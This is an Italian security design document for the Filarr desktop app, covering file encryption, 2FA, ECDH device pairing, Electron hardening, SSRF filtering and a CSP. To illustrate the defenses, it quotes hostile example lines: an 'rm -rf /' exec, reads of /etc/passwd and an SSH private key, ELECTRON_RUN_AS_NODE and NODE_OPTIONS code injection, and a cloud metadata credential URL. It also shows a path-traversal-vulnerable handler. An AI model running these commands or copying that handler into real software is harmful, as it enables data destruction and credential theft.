Sul disco, un file crittografato ha la struttura seguente:
[4 byte: marcatore FEK = 0x46 0x45 0x4B 0x01] # identifica il formato v1
[12 byte: nonce casuale] # unico per ogni crittografia
[testo cifrato di lunghezza variabile]
[16 byte: tag di autenticazione GCM]
Il marcatore da 4 byte è un campo di formato che permette a Filarr di gestire la retrocompatibilità con i profili migrati dalla v1.x (in cui la crittografia usava una chiave locale anziché la FEK). La decrittografia legge i primi 4 byte, riconosce il formato e instrada verso il percorso di codice giusto. È un versionamento crittografico difensivo: il giorno in cui passeremo a un altro algoritmo (per esempio aggiungendo il post-quantistico Kyber), questo stesso meccanismo gestirà i formati misti durante la transizione.
I 12 byte di nonce sono pubblici e conservati in chiaro accanto al testo cifrato. In GCM è normale e sicuro, come vedremo più avanti. Il testo cifrato vero e proprio ha esattamente la dimensione del testo in chiaro (GCM è una modalità «a flusso» senza padding), e gli ultimi 16 byte sono il tag di autenticazione che permetterà alla decrittografia di rilevare qualsiasi modifica.
5.2 Perché GCM e non CBC, CTR o ChaCha20?
Il panorama delle modalità di crittografia simmetrica è più sfumato di quanto sembri. Ecco i principali candidati e i loro compromessi:
| Modalità | Riservatezza | Integrità | Prestazioni | Side-channel | Verdetto |
|---|---|---|---|---|---|
| AES-ECB | ❌ (fuga di schemi) | ❌ | Veloce | Resistente | Vietata |
| AES-CBC | ✅ | ❌ (non autenticata) | Media | Rischio di padding oracle | Da evitare da sola |
| AES-CBC + HMAC | ✅ | ✅ | Lenta (2 passaggi) | OK | OK ma complessa |
| AES-CTR | ✅ | ❌ | Veloce | OK | Da evitare da sola |
| AES-GCM | ✅ | ✅ (AEAD) | Veloce (accel. hw) | Buona (salvo riuso del nonce) | Standard moderno |
| ChaCha20-Poly1305 | ✅ | ✅ (AEAD) | Veloce (software) | Molto buona | Alternativa senza AES-NI |
AES-GCM è la scelta predefinita moderna per tre ragioni combinate. Innanzitutto unisce crittografia e autenticazione in un’unica costruzione (AEAD, Authenticated Encryption with Associated Data): il tag da 16 byte rileva qualsiasi modifica del testo cifrato con una probabilità di collisione di 2^-128. Non dobbiamo quindi combinare a mano una crittografia (CBC) con un MAC (HMAC), una costruzione che storicamente è finita male nelle implementazioni ingenue (vedi Encrypt-then-MAC vs MAC-then-Encrypt vs Encrypt-and-MAC e i disastri di TLS 1.0 con la scelta sbagliata).
Poi AES-GCM beneficia dell’accelerazione hardware AES-NI, presente su tutte le CPU x86-64 dal 2010 circa (Intel) e su tutti gli ARM64 con estensioni crittografiche da ARMv8. Un core moderno raggiunge circa 5 gigabyte al secondo in AES-GCM, il che rende nella pratica il costo della crittografia trascurabile rispetto a quello dell’I/O. L’alternativa ChaCha20-Poly1305 è anch’essa molto veloce, ma in puro software; diventa preferibile sulle piattaforme senza AES-NI (per esempio i dispositivi mobili ARM di fascia bassa), ma per un’app desktop Electron AES-GCM è ottimale.
Infine AES-GCM è uno standard FIPS 140-2, supportato nativamente ovunque: Web Crypto API, crypto di Node.js, OpenSSL, libsodium, BoringSSL. È usato da TLS 1.3 come suite di cifratura predefinita, da Signal per crittografare i messaggi, da Age per crittografare i file, da AWS per KMS. È il consenso del settore.
5.3 La trappola mortale: Forbidden Attack e riuso del nonce
AES-GCM ha una debolezza catastrofica che bisogna conoscere: riutilizzare un nonce con la stessa chiave distrugge completamente la sicurezza. Non «un po’ pericoloso» nel senso di perdere qualche bit di sicurezza: una perdita totale, che permette a un attaccante non solo di decrittografare ma anche di falsificare testi cifrati arbitrari che supereranno la verifica.
Tecnicamente, se un attaccante osserva due testi cifrati C1 e C2 crittografati con la stessa coppia (K, N), può prima calcolare C1 ⊕ C2 = P1 ⊕ P2, che rivela la combinazione lineare dei testi in chiaro. Poi, risolvendo il sistema polinomiale sul campo di Galois GF(2^128) su cui si basa GCM, può recuperare la chiave di autenticazione interna H = AES_K(0^128). Con H in mano, l’attaccante può calcolare il tag GCM di qualsiasi testo cifrato costruisca, e quindi falsificare testi cifrati autenticati arbitrari. Questo attacco, descritto da Böck, Zauner e Devlin nel loro articolo del 2016 Nonce-Disrespecting Adversaries, è stato sfruttato nella pratica, lo stesso anno, contro circa 70.000 server HTTPS mal configurati.
Filarr si protegge da questa classe di attacchi con una disciplina rigorosa: a ogni crittografia chiamiamo crypto.getRandomValues(new Uint8Array(12)) per produrre 12 byte di nonce da una sorgente CSPRNG. Con 2^96 nonce possibili e n file crittografati sotto la stessa FEK, la probabilità di collisione segue il paradosso del compleanno: circa n² / 2^97. Perché un utente crittografi 2^32 file (quattro miliardi), la probabilità di collisione è dell’ordine di 2^-33: trascurabile. Nella pratica, un utente medio crittografa al massimo 2^20 file nell’arco della vita del suo profilo, il che dà una probabilità di collisione di 2^-57: irraggiungibile.
Non generiamo mai il nonce con un contatore incrementato e salvato, anche se in teoria è più parsimonioso in casualità. Il motivo: un crash tra l’incremento e la scrittura del contatore potrebbe causare un riuso del nonce al riavvio, che è proprio lo scenario catastrofico. La casualità crittografica a ogni crittografia costa un po’ più di CPU, ma elimina per costruzione questa classe di bug.
5.4 Il nonce è pubblico, ed è voluto
Una confusione frequente riguarda la natura del nonce: molte persone lo considerano un segreto aggiuntivo, per analogia con la chiave. Sbagliato. In GCM il nonce non è un segreto; svolge il ruolo di IV (vettore di inizializzazione) ed è pubblico per progettazione. È conservato in chiaro accanto al testo cifrato e trasmesso con esso. Solo il suo riuso con la stessa chiave è vietato: non conta la riservatezza del nonce, conta la sua unicità.
5.5 Cosa autentica esattamente il tag GCM?
Il tag da 16 byte alla fine del testo cifrato autentica contemporaneamente tre cose. Prima di tutto il testo cifrato stesso: qualsiasi modifica, anche di un solo bit, invalida il tag e la decrittografia fallisce. Poi i dati associati (AAD, Additional Authenticated Data), se forniti: Filarr non li usa, ma il campo esiste nell’API e potrebbe servire a legare un testo cifrato a metadati pubblici (per esempio l’identificatore in chiaro del file), impedendo a un attaccante di scambiarlo tra un file e l’altro. Infine, implicitamente, il nonce e la chiave: un tag calcolato con una coppia (K, N) diversa non verrà verificato, quindi un attaccante che prova a decrittografare con la chiave sbagliata ottiene un errore, non un testo in chiaro corrotto in silenzio.
Un dettaglio importante dell’API: quando crypto.subtle.decrypt() rileva un tag non valido, solleva un’eccezione invece di restituire un testo in chiaro parziale. È la definizione formale di AEAD: mai restituire dati non autenticati, in nessun caso. Un attaccante che prova a modificare il testo cifrato per ottenere anche solo un piccolo frammento di testo in chiaro si scontra con questa garanzia assoluta di Web Crypto.
6. Autenticazione a due fattori (2FA)
La crittografia lato client protegge i tuoi file da un server compromesso, ma non protegge il tuo account da un furto online. Un attaccante che indovina la tua password con il credential stuffing può collegarsi, esfiltrare i metadati visibili al server e avviare l’eliminazione della cassaforte. La sola limitazione delle richieste per IP non basta: una botnet che ruota su 5.000 IP residenziali passa sotto i radar. Da aprile 2026 Filarr offre quindi un’autenticazione a due fattori basata su TOTP, facoltativa, attivabile da «Settings > Security» (Impostazioni > Sicurezza), account gratuiti compresi.
6.1 Perché TOTP RFC 6238
Filarr usa lo standard TOTP RFC 6238: SHA-1, 6 cifre, periodo di 30 s, finestra di tolleranza di ±1 passo. È una scelta deliberata rispetto a WebAuthn / Passkey. WebAuthn offre una protezione migliore contro il phishing, ma richiede hardware compatibile (Touch ID, YubiKey, Windows Hello) e ha una portabilità disomogenea tra dispositivi e browser. TOTP funziona ovunque con qualsiasi app di autenticazione standard (Authy, Google Authenticator, 1Password, Bitwarden e decine di altre), senza nient’altro lato server che un segreto base32 e un verificatore conforme alla RFC. Questa portabilità è coerente con il modello «la tua password resta la fonte di verità crittografica»: la 2FA completa l’autenticazione lato server, non sostituisce la crittografia locale.
6.2 Codici di backup, conservati come HMAC-SHA-256
All’attivazione, Filarr genera 8 codici di backup monouso. Ogni codice è conservato come digest HMAC-SHA-256; la chiave HMAC deriva dal JWT_SECRET del worker, che non risiede mai in D1. Usare HMAC invece di bcrypt non è un compromesso di sicurezza: con 40 bit di entropia casuale per codice, un attaccante che esfiltra D1 deve anche compromettere il JWT_SECRET, conservato separatamente; e anche con entrambi, una forza bruta su HMAC-SHA-256 su 40 bit di casualità uniforme resta costosa. Bcrypt con costo 12 (≈250 ms per tentativo) semplicemente non è praticabile con il budget di 50 ms di CPU di un Cloudflare Worker: con l’HMAC nativo di Web Crypto, la verifica richiede qualche microsecondo e il costo operativo è nullo.
6.3 Da cosa la 2FA NON protegge
Importante: la 2FA protegge solo l’accesso all’account. Interpone una barriera al momento dell’accesso con un flusso in due fasi: password → token MFA breve di 5 minuti → codice TOTP o codice di backup → token di sessione, con un limite di 10 tentativi ogni 15 minuti per IP sulla seconda fase. Ma se un attaccante esfiltra la copia crittografata della tua chiave principale conservata lato server, può tentare una forza bruta offline, e lì la 2FA non serve a nulla. Lavorano solo la robustezza della tua password e le 600.000 iterazioni di PBKDF2-SHA-512. La 2FA è una difesa contro il furto dell’account, distinta dalla difesa crittografica; le due sono complementari, non sostitutive.
Anche la rigenerazione della frase di recupero (24 parole BIP-39) e quella dei codici di backup sono disponibili da «Settings > Security»: entrambe invalidano subito i codici o la frase precedenti.
7. Abbinamento multi-dispositivo
La condivisione della FEK tra più dispositivi è probabilmente la parte crittograficamente più delicata dell’intera architettura. Il vincolo è chiaro: vogliamo che un utente che ha già sbloccato il suo account sul portatile (Dispositivo A) possa aggiungere lo smartphone o un secondo portatile (Dispositivo B) allo stesso account, con accesso a tutti i dati, senza che il server veda mai la FEK in chiaro. Come trasmettere una chiave segreta attraverso un canale non fidato (il server) senza che il canale possa leggerla? È esattamente il problema che gli scambi di chiavi Diffie-Hellman risolvono dal 1976, con una solida garanzia matematica.
7.1 Il protocollo completo dalla v2.2.2
L’idea di base di uno scambio Diffie-Hellman è che due parti possano derivare un segreto condiviso scambiandosi chiavi pubbliche su un canale aperto, senza che un osservatore passivo possa ricostruire quel segreto. Nella crittografia moderna si usa la variante su curve ellittiche (ECDH), che offre la stessa sicurezza del Diffie-Hellman classico con chiavi molto più corte: una chiave ECDH sulla curva P-256 è di 256 bit, contro circa 3072 bit per una sicurezza equivalente con il Diffie-Hellman modulare.
Ecco il protocollo completo di Filarr:
┌─────────────────────────────┬─────────────────────────────┐
│ DISPOSITIVO A │ DISPOSITIVO B │
├─────────────────────────────┼─────────────────────────────┤
│ 1. Genera (privA, pubA) │ │
│ ECDH P-256 │ │
│ 2. Genera codice a 6 cifre │ │
│ via crypto.randomInt() │ │
│ 3. PUT /pairing/<code> { │ │
│ pubA: base64 │ │
│ } (TTL 5 min) │ │
│ │ 4. L’utente digita il codice│
│ │ 5. GET /pairing/<code> │
│ │ → riceve pubA │
│ │ 6. Genera (privB, pubB) │
│ │ 7. sharedBits = │
│ │ ECDH(privB, pubA) │
│ │ 8. wrapKey = │
│ │ HKDF-SHA-256( │
│ │ ikm=sharedBits, │
│ │ salt=code, │
│ │ info="filarr. │
│ │ pairing.wrap.v1", │
│ │ length=32 │
│ │ ) │
│ │ 9. PUT /pairing/<code>/ │
│ │ device-b-pubkey { │
│ │ pubB: base64 │
│ │ } │
│ 10. Poll /pairing/<code> │ │
│ → riceve pubB │ │
│ 11. sharedBits = │ │
│ ECDH(privA, pubB) │ │
│ 12. wrapKey = HKDF(...) │ │
│ (identica a B) │ │
│ 13. iv = random(12) │ │
│ 14. wrappedFEK = │ │
│ AES-256-GCM.wrap( │ │
│ fek, wrapKey, iv │ │
│ ) │ │
│ 15. PUT /pairing/<code>/ │ │
│ wrapped-fek { │ │
│ blob: base64( │ │
│ iv ++ wrappedFEK │ │
│ ) │ │
│ } │ │
│ │ 16. Poll /pairing/<code> │
│ │ → riceve il blob │
│ │ 17. fek = AES-256-GCM │
│ │ .unwrap(blob, wrapKey) │
│ │ 18. Salva fek via │
│ │ safeStorage del sistema │
│ │ 19. DELETE /pairing/<code> │
└─────────────────────────────┴─────────────────────────────┘
Ciò che il server di Filarr vede transitare in questo protocollo si limita agli elementi pubblici: la chiave pubblica del Dispositivo A (pubA, un punto della curva P-256 che per definizione stessa dell’ECDLP, il problema del logaritmo discreto su curve ellittiche, non rivela nulla della chiave privata), simmetricamente la chiave pubblica del Dispositivo B, il codice di abbinamento a 6 cifre e un blob opaco iv ++ wrappedFEK. Questo blob è crittografato da una chiave che un server passivo non può ricostruire, perché richiederebbe di conoscere privA o privB, chiavi private effimere che non lasciano mai i dispositivi. Un server attivamente malevolo, invece, potrebbe mettersi in mezzo (man-in-the-middle) in questa versione dello scambio: conosce il codice, che è sia la sua chiave di ricerca sia il sale di HKDF, quindi sostituendo le proprie chiavi pubbliche potrebbe decifrare la FEK e cifrarla di nuovo per il Dispositivo B, che non si accorgerebbe di nulla. È per questa falla che il protocollo è poi passato a una seconda versione: il Dispositivo A inserisce nel codice QR un segreto di 32 byte, non inviato a nessuna route del server, che sostituisce il codice come sale di HKDF; il Dispositivo A si impegna sulla sua chiave pubblica prima di vedere quella del Dispositivo B; ed entrambi gli schermi mostrano sei cifre di controllo derivate dallo scambio, che confermi prima che la FEK venga cifrata.
7.2 HKDF extract-expand e perché è stato aggiunto nella v2.2.2
Prima della v2.2.2, il codice usava direttamente i 256 bit grezzi restituiti da crypto.subtle.deriveBits() come chiave AES-256 per cifrare la FEK. Nella pratica funziona (i 256 bit sono casuali nel gruppo della curva), ma viola tecnicamente le ipotesi formali sotto cui AES-GCM è dimostrato sicuro.
Il problema sottile è che i bit di un punto ECDH non sono distribuiti uniformemente in {0, 1}^256. Sono casuali all’interno del gruppo, cioè rappresentano un punto casuale sulla curva ellittica, ma la struttura della curva fa sì che alcune sequenze di 256 bit non corrispondano a nessun punto valido, mentre altre siano più frequenti. Questa non uniformità non è visibile a occhio nudo (le coordinate sembrano rumore), ma è misurabile statisticamente e, soprattutto, rompe la dimostrazione di sicurezza di AES-GCM, che presuppone chiavi casuali uniformi in {0, 1}^256.
La risposta standard a questo problema è HKDF (RFC 5869), una costruzione in due fasi che trasforma qualsiasi sorgente con entropia sufficiente in una chiave distribuita uniformemente. La prima fase, Extract, calcola PRK = HMAC-SHA-256(salt, ikm), dove ikm è il materiale di chiave in ingresso (nel nostro caso gli sharedBits dell’ECDH). Il risultato PRK è una chiave pseudo-casuale concentrata, distribuita uniformemente in {0, 1}^256. La seconda fase, Expand, deriva la o le chiavi di output con OKM = HMAC-SHA-256(PRK, info || 0x01). Questa separazione in due fasi è analizzata formalmente: dimostra che un avversario che osserva OKM non può distinguere la distribuzione dell’output da una distribuzione uniforme davvero casuale, anche avendo accesso a ikm (sotto ipotesi ragionevoli su HMAC).
L’aggiunta di HKDF in Filarr v2.2.2 è stata un rafforzamento di difesa in profondità: nella pratica, nel 2026 nessun attacco noto sfruttava la non uniformità dei bit ECDH contro AES-GCM, ma rispettare le ipotesi formali garantisce di non essere presi alla sprovvista se domani un articolo accademico pubblicasse un nuovo attacco basato su questa non uniformità.
7.3 Il separatore di dominio, cintura e bretelle
Il campo info di HKDF, che abbiamo fissato alla stringa letterale "filarr.pairing.wrap.v1", non è cosmetico. Svolge una funzione importante chiamata separazione dei domini: garantire che la stessa sorgente di entropia (sharedBits) non produca mai la stessa chiave derivata per due usi diversi, anche usando lo stesso algoritmo (qui HKDF-SHA-256).
Immagina di aggiungere domani una nuova funzione: firmare i manifest di sincronizzazione con una chiave derivata dallo scambio ECDH dell’abbinamento. Se usassimo HKDF con lo stesso parametro info, la chiave di firma sarebbe identica alla chiave di cifratura, creando una dipendenza nascosta tra due primitive crittografiche distinte. Un attacco a una delle due (per esempio la fuga della chiave di firma tramite side-channel) comprometterebbe l’altra. Con un info diverso per ogni uso ("filarr.pairing.wrap.v1" contro "filarr.pairing.sign.v1"), le chiavi derivate sono indipendenti sotto le ipotesi di HKDF, anche partendo dagli stessi sharedBits. È lo schema raccomandato dalla NIST SP 800-56C per tutti gli usi di derivazione di chiavi a partire da un segreto condiviso.
Anche il suffisso v1 nell’etichetta è intenzionale: se cambiamo l’algoritmo di cifratura (per esempio passando a ChaCha20-Poly1305), passeremo a v2, garantendo che un blob crittografato con la vecchia versione non venga interpretato per errore come un nuovo formato.
7.4 Il codice a 6 cifre e la sua sicurezza
Il codice a 6 cifre offre circa 20 bit di entropia, cioè 1.000.000 di combinazioni possibili. Si potrebbe temere che un attaccante possa forzare l’API /pairing/<code> per indovinare il codice e intercettare il blob crittografato. Diverse difese sovrapposte rendono questo attacco impraticabile.
Innanzitutto il codice ha un TTL di 5 minuti lato server: trascorso questo tempo, la voce viene eliminata e il codice non corrisponde più a nulla. L’attaccante ha quindi solo 5 minuti per la forza bruta. Poi il server applica una limitazione delle richieste sugli accessi a /pairing/<code>: tipicamente 10 tentativi al minuto per IP, con un blocco progressivo oltre questa soglia. In 5 minuti un attaccante può quindi provare al massimo ~50 codici. Su 10^6 possibilità, è una probabilità dello 0,005% di trovare il codice giusto. Matematicamente trascurabile, e in più l’attaccante dovrebbe indovinare il codice nel momento esatto in cui è valido, il che aggiunge una dimensione temporale al problema.
Infine il codice è trasmesso fuori banda: è mostrato sullo schermo del Dispositivo A e digitato a mano sul Dispositivo B. Il client del Dispositivo A genera il codice in locale con crypto.randomInt() e lo dichiara al server, che quindi lo conosce: il codice protegge da un terzo che provi a indovinarlo, non dal server stesso (vedi il §7.1). Un attaccante in ascolto sulla rete, dietro TLS, non vede mai il codice in chiaro.
Per completare il quadro, l’ECDH fornisce in più la forward secrecy: le chiavi private privA e privB sono effimere ed eliminate dopo l’abbinamento. Se un attaccante ottiene il codice dopo la sua scadenza, o anche se compromette il server più tardi, non può più ricostruire la chiave di cifratura, perché le chiavi private non esistono più.
7.5 Confronto con l’approccio di Signal
Un lettore che conosce Signal potrebbe chiedersi perché Filarr non usi i Safety Numbers di Signal per la verifica. La risposta sta nel diverso caso d’uso.
Signal usa impronte di 60 cifre derivate dalle chiavi pubbliche persistenti dei due contatti, confrontate a vista o scansionando un codice QR. Questo modello è adatto a una messaggistica persistente: una volta che Alice ha aggiunto Bob ai suoi contatti e verificato il suo Safety Number, può scrivergli per anni senza nuove verifiche, finché Bob non cambia dispositivo. Ma il costo iniziale è un confronto di 60 cifre, accettabile per un amico che vedrai di persona ma pesante per un abbinamento occasionale con sé stessi.
Il modello di Filarr, più vicino ad Apple Continuity / Handoff o all’approccio WireGuard PSK + scambio di chiavi, usa un codice breve monouso. È meno sicuro in termini assoluti (20 bit contro ~200 bit per un Safety Number completo), ma adatto al caso d’uso raro dell’aggiunta di un nuovo dispositivo al proprio account, con un canale di fiducia fisico (l’utente legge il codice su uno schermo e lo digita su un altro).
8. Rafforzamento di Electron
Electron è un framework che unisce due componenti potenzialmente pericolose: Chromium, che espone l’intera superficie d’attacco del web moderno (XSS, CSRF, DOM clobbering, prototype pollution...), e Node.js, che consente un accesso completo al sistema (file system, processi, rete, comandi shell). Per impostazione predefinita, un’app Electron che non fa nulla di particolare espone questa combinazione esplosiva al codice caricato nel renderer. Se un attaccante riesce in un XSS, può chiamare direttamente require('child_process').exec('rm -rf /') ed è finita. Tutta la sicurezza applicativa di Filarr si basa sullo spezzare questa catena a livello architetturale: il renderer non può accedere direttamente al sistema, passa da canali IPC rigorosamente tipizzati e in allowlist.
8.1 I tre isolamenti fondamentali
La configurazione minima perché un’app Electron moderna sia difendibile è attivare insieme tre flag in webPreferences:
webPreferences: {
nodeIntegration: false, // Nessun require() nel renderer
contextIsolation: true, // contextBridge isola il preload dal renderer
sandbox: true, // Il renderer gira nella sandbox di Chromium
preload: path.join(__dirname, 'preload.js'),
}
Senza questi tre flag, tutte le altre misure di sicurezza sono cosmetiche. Ognuno merita una spiegazione.
nodeIntegration: false garantisce che il codice JavaScript caricato nel renderer non abbia accesso a require(), process, global o ad altre variabili globali di Node.js. Il renderer è nello stesso stato di una normale scheda di Chrome: può manipolare il DOM e chiamare le Web API (fetch, localStorage, crypto.subtle, ecc.), ma non può leggere un file locale né avviare un processo. Senza questo flag, qualsiasi XSS in una dipendenza del frontend diventa un RCE (Remote Code Execution) completo, perché l’attaccante può fare require('fs').readFileSync('/etc/passwd').
contextIsolation: true va oltre: colloca il codice del preload in un realm V8 separato da quello della pagina. Anche se il preload ha bisogno di ipcRenderer (per esporre metodi al renderer tramite contextBridge), questo modulo non è accessibile dalla pagina. I due realm condividono il DOM ma non le variabili globali JavaScript. In concreto, se un attaccante fa prototype pollution nel realm della pagina (modificando per esempio Array.prototype), questo non tocca il preload. Senza contextIsolation, il ponte contextBridge è solo zucchero sintattico e gli oggetti esposti possono essere manipolati dalla pagina.
sandbox: true colloca il processo renderer nella sandbox di Chromium, un meccanismo di isolamento a livello di sistema operativo che Google sviluppa e rafforza dal 2008 per bloccare le evasioni. L’implementazione varia a seconda del sistema, ma il principio è lo stesso: il processo renderer può parlare con il resto del sistema solo tramite un canale IPC con il processo principale (il browser process di Chromium). Su Windows la sandbox usa un mix di Restricted Token (rinuncia ai privilegi di amministratore e a token specifici come SeTcbPrivilege), Job object (limitazione delle risorse) e Integrity Level Low di Windows (che impedisce al processo di scrivere nelle aree di sistema). Su macOS è Seatbelt, derivato da sandbox-exec con un profilo specifico di Chromium che elenca le chiamate di sistema consentite. Su Linux è una combinazione di user namespace (che danno al processo l’illusione di essere root mentre è confinato), seccomp-bpf (whitelist delle chiamate di sistema a livello del kernel) e chroot (che restringe la vista del file system). Una sandbox ben configurata blocca nella pratica chiamate di sistema come mount, ptrace, kexec_load e la maggior parte delle operazioni che permetterebbero a un attaccante di evadere dal processo.
8.2 Electron fuses: l’integrità a livello di binario
I «fuse» (@electron/fuses) sono un meccanismo relativamente recente e poco conosciuto: bit di configurazione impostati direttamente nel binario Electron al momento del packaging, che in produzione non possono più essere modificati senza ricompilare l’applicazione. Chiudono comportamenti predefiniti del runtime Electron utili in sviluppo ma pericolosi in produzione.
Dalla v2.2.2 Filarr applica 8 fuse espliciti con il parametro strictlyRequireAllFuses: true. Questo parametro obbliga a elencare tutti i fuse noti della versione di Electron usata; se una futura versione di Electron aggiunge un nuovo fuse con un valore predefinito non sicuro, la build fallisce e impone una decisione esplicita. È il fail-closed applicato alla configurazione di sicurezza.
| Fuse | Valore | Cosa blocca |
|---|---|---|
RunAsNode | false | ELECTRON_RUN_AS_NODE=1 filarr.exe ./evil.js: trasformare Filarr in un runtime Node arbitrario per codice dell’utente |
EnableCookieEncryption | true | Cookie crittografati via DPAPI/Keychain/libsecret: un attaccante che legge il file SQLite Cookies non può estrarre token in chiaro |
EnableNodeOptionsEnvironmentVariable | false | NODE_OPTIONS=--require=/tmp/evil.js filarr.exe: iniezione di moduli Node all’avvio |
EnableNodeCliInspectArguments | false | --inspect, --inspect-brk: una porta di debug su un binario di produzione = RCE |
EnableEmbeddedAsarIntegrityValidation | true | Convalida crittografica dell’integrità di app.asar (macOS + Windows): l’app si rifiuta di avviarsi se un malware ha modificato il JS sul disco |
OnlyLoadAppFromAsar | true | Rifiuta di caricare da una cartella non impacchettata accanto al binario: classico vettore di persistenza |
LoadBrowserProcessSpecificV8Snapshot | false | Comportamento predefinito (nessuno snapshot separato) |
GrantFileProtocolExtraPrivileges | true | Mantenuto per compatibilità con file:// in produzione; TODO v2.3: migrare a un app:// personalizzato e impostarlo a false |
Un aneddoto rivelatore è capitato durante lo smoke test del passaggio a Electron 41 nella v2.3.0. Al primo npm start dopo l’aggiornamento, l’app si rifiutava di avviarsi con un errore criptico: TypeError: Cannot read properties of undefined (reading 'isPackaged') sulla riga const isDev = !electron_1.app.isPackaged. Dopo un’indagine, la causa era una variabile d’ambiente ELECTRON_RUN_AS_NODE=1 rimasta nella shell di sviluppo (impostata da uno strumento interno per un altro progetto), che costringeva Electron a girare come semplice runtime Node.js invece che come app Electron. require('electron') restituiva quindi il percorso del binario invece del namespace dell’API. Questo bug di sviluppo non ha avuto conseguenze, ma illustrava perfettamente lo scenario d’attacco a cui mira il fuse RunAsNode: false: in produzione, un attaccante locale con accesso a livello utente alla macchina potrebbe impostare ELECTRON_RUN_AS_NODE=1 nell’ambiente e lanciare filarr.exe ./malicious_script.js per eseguire codice arbitrario con i privilegi dell’utente, usando come vettore il nostro stesso binario firmato. Il fuse neutralizza questa variabile nel binario finale: anche se è definita, Electron la ignora e si avvia in modalità app. Questa verifica fortuita ci ha rassicurato sul fatto che la difesa funziona.
8.3 Allowlist IPC e preload
Il preload (electron/preload.ts) è l’unico punto in cui gira codice Node.js con accesso a contextBridge e ipcRenderer. Il suo ruolo è esporre al renderer un’API minima, tramite contextBridge.exposeInMainWorld('electron', { ... }), che contiene solo i metodi necessari al funzionamento dell’app. Il renderer non può accedere direttamente a ipcRenderer, non può chiamare require(), non può toccare process o global. Ogni metodo esposto corrisponde a un canale IPC tipizzato, gestito dal lato del processo principale con una convalida rigorosa degli argomenti.
Per illustrare la differenza tra versione vulnerabile e versione rafforzata, ecco il gestore import:readFile prima e dopo la v2.2.1:
// PRIMA della v2.2.1 — vulnerabile al path traversal
ipcMain.handle('import:readFile', async (_e, filePath: string) => {
return fs.readFile(filePath, 'utf-8');
});
// DOPO la v2.2.1 — whitelist dei percorsi
const approvedImportPaths = new Set<string>();
ipcMain.handle('import:selectFile', async () => {
const { canceled, filePaths } = await dialog.showOpenDialog(...);
if (canceled) return null;
approvedImportPaths.add(path.resolve(filePaths[0]));
return filePaths[0];
});
ipcMain.handle('import:readFile', async (_e, filePath: string) => {
if (!isApprovedPath(filePath)) return null; // ← bloccato
const lstat = await fs.lstat(filePath);
if (lstat.isSymbolicLink()) return null; // ← fuga via symlink bloccata
return fs.readFile(filePath, 'utf-8');
});
La differenza è fondamentale: nella versione vulnerabile, un XSS nel renderer poteva chiamare invoke('import:readFile', '/home/victim/.ssh/id_rsa') ed esfiltrare la chiave SSH. Nella versione rafforzata sono accettati solo i percorsi che l’utente ha scelto esplicitamente tramite una finestra di dialogo nativa. Il renderer non ha modo di far aprire una finestra di dialogo senza un’interazione dell’utente (non esiste un IPC per farlo), quindi non può riempire la whitelist con percorsi scelti da lui. Anche i collegamenti simbolici sono rifiutati, per evitare che uno ZIP importato contenga un symlink che punta a /etc/passwd, che verrebbe poi letto da Filarr al momento dell’estrazione.
Altri gestori sono stati rafforzati allo stesso modo. vault:importZip ha ricevuto un limite di 500 MB in totale una volta decompresso, 50 MB per voce, 10.000 voci al massimo, e rifiuta i percorsi che contengono .. o i percorsi assoluti: questi limiti proteggono dalle ZIP bomb (archivi che si decomprimono in diversi gigabyte) e dagli attacchi ZIP slip (voci con percorsi che escono dalla cartella di destinazione). open-external usa ora un new URL(url) rigoroso che rifiuta qualsiasi schema diverso da http: e https:, i caratteri di controllo ASCII e gli URL oltre 8 KB. Quest’ultimo controllo si applica anche agli URL restituiti dal nostro stesso backend per i checkout Stripe, come difesa in profondità contro un backend compromesso che provi a forzare l’apertura di un URL javascript: o file:.
8.4 Gestori dei permessi
Le Web API moderne includono un numero impressionante di permessi sensibili: fotocamera, microfono, geolocalizzazione, USB, MIDI, Bluetooth, porta seriale, HID, cattura dello schermo, sincronizzazione in background e altri più oscuri. Per impostazione predefinita, Electron chiede conferma all’utente quando una pagina richiede uno di questi permessi. Filarr va oltre e li rifiuta esplicitamente tutti, definendo un gestore rigoroso:
mainWindow.webContents.session.setPermissionRequestHandler(
(_, permission, callback) => {
const allowed = ['clipboard-read', 'clipboard-sanitized-write', 'notifications'];
callback(allowed.includes(permission));
}
);
Sono consentiti solo tre permessi: la lettura degli appunti (per incollare testo), la scrittura sanificata negli appunti (per copiare testo, mai HTML ricco che potrebbe essere pericoloso) e la visualizzazione delle notifiche desktop (per i promemoria). Tutto il resto viene rifiutato in silenzio. Anche se un XSS provasse a chiamare navigator.mediaDevices.getUserMedia() per accedere alla webcam, la chiamata restituirebbe subito un errore, senza alcuna richiesta all’utente.
8.5 Protezione SSRF
Quando Filarr mostra le anteprime dei link nelle note (tramite i gestori IPC fetchPageTitle e fetchPageMetadata), deve fare richieste HTTP agli URL citati dall’utente. È una classica superficie d’attacco SSRF (Server-Side Request Forgery): un attaccante potrebbe inserire in una nota condivisa un link come http://169.254.169.254/latest/meta-data/iam/security-credentials/ che, se recuperato da una macchina AWS, restituirebbe le credenziali IAM temporanee dell’istanza. Non è un’ipotesi: è esattamente il meccanismo della CVE-2019-8451 di Jira, in cui la funzione di anteprima dei link permetteva di esfiltrare le credenziali IAM del server Jira.
Filarr implementa un helper isPrivateOrReservedUrl() che blocca tutte le destinazioni interne prima di fare la richiesta: localhost, 127.0.0.1, [::1], 0.0.0.0, gli intervalli privati RFC 1918 (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), il link-local IPv4 e IPv6 (compreso quindi 169.254.169.254 e le sue varianti) e l’unique-local IPv6. Una richiesta verso una destinazione bloccata restituisce subito un errore. Questo elenco viene aggiornato man mano che compaiono nuovi intervalli di metadati cloud (AWS, GCP, Azure, DigitalOcean hanno tutti i loro IP di metadati, in genere in 169.254.0.0/16).
9. Content Security Policy
La Content Security Policy è l’ultimo baluardo se tutto il resto fallisce. Filarr applica una CSP rigorosa a tutte le risposte servite al renderer, tramite un gestore onHeadersReceived che inietta le intestazioni nella sessione Chromium:
default-src 'self';
script-src 'self' https://cdnjs.cloudflare.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: blob:;
font-src 'self' data: blob: *;
connect-src 'self' https://*.filarr-app.workers.dev
https://api.filarr.com
https://*.ingest.de.sentry.io;
worker-src 'self' blob: https://cdnjs.cloudflare.com;
frame-src https://www.youtube-nocookie.com https://www.youtube.com
https://player.vimeo.com;
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
